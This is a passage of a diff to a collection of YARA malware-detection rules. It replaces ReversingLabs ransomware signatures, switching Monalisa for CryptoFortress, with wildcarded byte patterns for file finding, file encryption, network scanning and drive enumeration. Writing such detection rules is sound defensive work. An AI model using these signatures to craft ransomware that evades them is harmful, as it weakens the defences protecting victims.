-            ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 8B 02 50 66 8B 4D ?? 51
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 8B 3D ?? ?? ?? ?? FF 75 ?? FF D7 85 C0
+            0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 75 ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? F6 C3 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ??
+            ?? ?? ?? 85 C0 75 ?? 33 DB 85 DB 89 5D ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ??
+            ?? ?? ?? 89 45 ?? EB ?? 83 65 ?? ?? 33 C9 39 4D ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 39 4D ?? 74 ?? 8B 45 ?? 8B 10 8B 40 ?? C1 65 ?? ?? 89 55 ?? 89 45
+            ?? EB ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 4D ?? 8B 45 ?? 89 45 ?? 89 4D ?? 89 4D ??
+            8B 5D ?? 33 F6 8B 45 ?? 85 C0 89 45 ?? 74 ?? 3B D8 73 ?? 89 5D ?? 2B 45 ?? 89 45 ??
+            75 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 7D ?? 8D 45 ?? 50 57 8D 47 ?? 50 FF 75
+            ?? 8B 45 ?? 03 C6 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 03 75 ?? 85 C0 89 45 ?? 0F
         }
 		$encrypt_files_p2 = {
-            6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? FF 15 ??
-            ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 89 45 ?? 83 7D
-            ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ??
-            EB ?? C7 45 ?? ?? ?? ?? ?? 66 8B 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8D 4D ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 8D 45 ?? 50 68 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 4D ?? 51 FF 15 ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? FF 15
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 8B 55 ?? 52 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? 8B 45 ?? 8B 08 51 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 50 8B 45 ?? 8B 08 51 8D 55 ?? 52
-            FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 FF 15
-            ?? ?? ?? ?? 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ??
-            FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8D 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D
-            ?? FF 15 ?? ?? ?? ?? C3 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15
-            ?? ?? ?? ?? C3 8B 4D ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B
-            45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$scan_network_p1 = {
-            55 8B EC 83 EC ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 53 56 57 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52 FF 51 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B 08 8B 55 ?? 52
-            FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 4D ?? 51 8B
-            95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2 89 85 ?? ?? ?? ??
-            83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 4D ?? FF
-            15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D
-            4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D
-            45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D
-            4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ??
-            8B 08 8B 55 ?? 52 FF 91 ?? ?? ?? ?? 50 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 8D 4D ?? 51 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ?? 51 FF 90 ?? ?? ?? ?? DB E2
-            89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8D 45 ?? 50 FF
-        }
-		$scan_network_p2 = {
-            15 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 52 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? FF
-            15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
-            ?? ?? ?? 8B 45 ?? B9 ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ??
-            ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82
-            50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? ?? 2B
-            51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ?? B9
-            ?? ?? ?? ?? 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
-            ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 55 ?? B8 ?? ?? ?? ?? 2B
-            42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 4D ?? BA
-            ?? ?? ?? ?? 2B 51 ?? 8B 45 ?? 8B 48 ?? 8B 14 91 52 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
-            ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B 45 ??
-            33 C9 2B 48 ?? 8B 55 ?? 8B 42 ?? 8B 0C 88 51 FF 15 ?? ?? ?? ?? DD 9D ?? ?? ?? ?? 8B
-            55 ?? 33 C0 2B 42 ?? 8B 4D ?? 8B 51 ?? 8B 04 82 50 FF 15 ?? ?? ?? ?? DC AD ?? ?? ??
-            ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 0D ?? ?? ?? ?? DC 85 ?? ?? ?? ?? DD 5D ??
-            C7 45 ?? ?? ?? ?? ?? DD 45 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 89 41 ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-        }
-		$scan_network_p3 = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ??
-            ?? 52 8D 85 ?? ?? ?? ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 8B 02 89 85 ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ??
-            ?? 50 8D 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 FF 15
-            ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B 11 8B 85 ?? ?? ?? ?? 50 FF 52 ?? DB E2 89 85 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95
-            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 8B 45 ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 55 ?? 52
-            FF 15 ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8B 08 8B 95 ?? ?? ?? ?? 52 FF 51 ?? DB E2 89
-            85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
-        }
-		$scan_network_p4 = {
-            8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52
-            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 8B 11 8B 45 ?? 50 FF 92 ?? ?? ?? ?? 50 8D 4D ?? 51
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 8B 02 8B 8D ?? ?? ?? ??
-            51 FF 50 ?? DB E2 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 7D ?? 6A ?? 68 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 4D ?? FF 15 ?? ?? ?? ?? 9B 68 ?? ?? ?? ?? EB ?? 8D
-            4D ?? FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ??
-            83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? C3 8D 85 ?? ?? ??
-            ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? FF 15 ?? ?? ??
-            ?? 8D 55 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? C3 8B 4D
-            ?? 8B 11 8B 45 ?? 50 FF 52 ?? 8B 4D ?? 66 8B 55 ?? 66 89 11 8B 45 ?? 8B 4D ?? 64 89
-            0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2
+            85 ?? ?? ?? ?? 2B 5D ?? 75 ?? EB ?? 8B 7D ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 33
+            C0 3B 45 ?? 77 ?? 72 ?? 3B 5D ?? 73 ?? 8B C3 EB ?? 8B 45 ?? 29 45 ?? 8B 4D ?? 83 5D
+            ?? ?? 0B 4D ?? 75 ?? 8B 4D ?? 89 4D ?? 03 F0 2B D8 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 4D
+            ?? 0F AC C8 ?? C1 E9 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? F7 E1 29 45 ?? 19 55 ?? 01 45 ??
+            11 55 ?? 83 7D ?? ?? 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 85 C0 89 45 ?? 0F 84 ?? ?? ?? ??
+            8B 7D ?? 8D 47 ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 74 ?? 83 7D ??
+            ?? 74 ?? 8B 4D ?? 8B 45 ?? 8B D1 0B D0 74 ?? 0F AC C1 ?? C1 E8 ?? 83 4F ?? ?? 89 4F
+            ?? 89 75 ?? 39 75 ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39
+            75 ?? 74 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 85 DB 0F 85
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 01 75 ?? 83 55 ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF
+            D7 EB ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 5F 5E 5B C9 C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($scan_network_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Monalisa : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Cryptofortress : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Monalisa ransomware."
+		description = "Yara rule that detects CryptoFortress ransomware."
 		author = "ReversingLabs"
-		id = "34addb63-2426-59a2-b79b-052a9161d361"
-		date = "2022-05-13"
-		modified = "2022-05-13"
+		id = "460289b1-f775-5e0b-8c44-4f6e5c92da60"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Monalisa.yara#L1-L83"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0bcb79dff111ec05ac93bbe9a777546bd6234dc60d9f6982c03cd0bc3b26b038"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.CryptoFortress.yara#L1-L162"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "474893b63523de5ff9eb8a0c91b0677b99ce65056af7f5d02a73e43fa65453c9"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26899,72 +28317,147 @@ rule REVERSINGLABS_Win32_Ransomware_Monalisa : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Monalisa"
+		tc_detection_name = "CryptoFortress"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 A1 ?? ?? ?? ?? 33
-            C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8B CC 89 65
-            ?? 8D 45 ?? B3 ?? 51 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC 89 65 ?? 33 C0 6A
-            ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 66 89 01 E8 ?? ?? ?? ??
-            83 EC ?? C6 45 ?? ?? 8D 45 ?? 8B CC 50 E8 ?? ?? ?? ?? 8A D3 88 5D ?? 8B CE E8 ?? ??
-            ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
-            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ??
-            83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ??
-            ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3
+		$enum_drives = {
+            55 8B EC 83 C4 ?? 56 57 C7 45 ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 8D 7D ?? B2 ?? B9 ?? ?? ?? ?? A9 ?? ?? ?? ?? 74 ?? 88 17 47 D1 E8 FE C2 49
+            75 ?? C6 07 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F8 8D 75 ?? 8A 16 88 55 ?? 8D 45 ?? 50
+            FF 15 ?? ?? ?? ?? 8D 55 ?? C6 42 ?? ?? 83 F8 ?? 75 ?? 60 8D 45 ?? 50 8D 45 ?? 50 6A
+            ?? 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ??
+            50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 61 46 4F 75 ?? A1 ?? ?? ?? ?? A3
+            ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 5F 5E C9 C3
         }
-		$write_proc_mem = {
-            8D 45 ?? 50 FF 76 ?? 8B 46 ?? 03 C7 50 8B 06 03 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 3E 0F B7 41 ?? 48 3B D8 75 ?? 8B 51 ??
-            EB ?? 8B 4D ?? 8B 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 56 ?? 8B 4E ?? 2B D7 8B C1 25 ??
-            ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ??
-            ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ??
-            ?? EB ?? 8B C1 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ??
-            ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? F7 C1 ?? ?? ?? ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 85 C9
-            B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 48 C1 8D 4D ?? 51 50 8B 45 ?? 52 03 C7 50 FF 75 ??
-            FF 15
+		$enum_shared_resources = {
+            55 8B EC 83 C4 ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 0B C0 0F
+            85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 8D 45 ?? 50 FF 75 ?? FF 15
+            ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 3D ?? ?? ?? ?? 74 ?? 8B 4D ?? 51 8D 49 ?? 6B C9 ?? 8B
+            45 ?? 8D 0C 01 6A ?? 51 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? FF 75 ?? E8 ??
+            ?? ?? ?? 83 F8 ?? 76 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            0B C0 74 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 49 75 ?? EB
+            ?? EB ?? E9 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? C9 C2
+        }
+		$find_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 40 0F 84 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            83 E0 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? C6 00 ?? 2B 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            8D ?? ?? ?? ?? C7 04 08 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 8B 8D ?? ?? ?? ?? C7 44 08 ??
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F
+            85 ?? ?? ?? ?? 8B 4D ?? 0B C9 75 ?? 6A ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 45 ??
+            8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 49 8B 1D ?? ?? ?? ?? 51 53
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 59 EB ?? 53 E8 ?? ?? ?? ?? 03 D8
+            83 C3 ?? 59 E2 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 0B
+            C9 75 ?? 3B D0 72 ?? EB ?? EB ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 75 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? C9 C3
         }
 		$encrypt_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 50
-            8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ??
-            ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 51 0F 43 05 ?? ?? ?? ?? 50 6A ?? 68 ??
-            ?? ?? ?? 51 FF 75 ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 05 ?? ?? ?? ?? ?? ?? ??
-            ?? 0F 10 00 0F 11 05 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 05 ?? ?? ?? ?? C7 40 ?? ??
-            ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 66 89 08 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ??
